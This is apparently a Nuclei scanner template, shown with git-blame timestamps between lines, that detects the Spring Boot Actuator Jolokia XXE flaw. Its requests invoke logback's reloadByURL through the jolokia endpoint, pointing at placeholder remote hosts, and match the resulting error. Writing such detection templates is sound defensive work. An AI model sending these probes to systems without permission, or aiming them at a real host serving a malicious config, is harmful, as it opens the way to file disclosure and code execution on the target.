2020-07-02 16:15:33 +00:00
id : springboot-actuators-jolokia-xxe
info :
name : Spring Boot Actuators (Jolokia) XXE
2021-06-09 12:20:56 +00:00
author : dwisiswant0,ipanda
2020-07-02 16:15:33 +00:00
severity : high
2022-04-22 10:38:41 +00:00
description : A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to perform an XML External Entities (XXE) attack and include content stored on a remote server as if it was its
own. This has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine.
2021-08-18 11:37:49 +00:00
reference :
2021-05-04 12:15:10 +00:00
- https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
- https://github.com/mpgn/Spring-Boot-Actuator-Exploit
2021-02-12 05:53:01 +00:00
tags : springboot,jolokia,xxe
2020-07-02 16:15:33 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml"
2021-05-31 14:35:39 +00:00
- "{{BaseURL}}/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml"
2020-07-02 16:15:33 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
2021-11-27 22:43:45 +00:00
2020-07-02 16:15:33 +00:00
- type : word
2021-11-27 22:43:45 +00:00
part : body
2020-07-02 16:15:33 +00:00
words :
- "http:\\/\\/nonexistent:31337\\/logback.xml"
- "reloadByURL"
- "JoranException"
2021-11-27 22:43:45 +00:00
condition : and
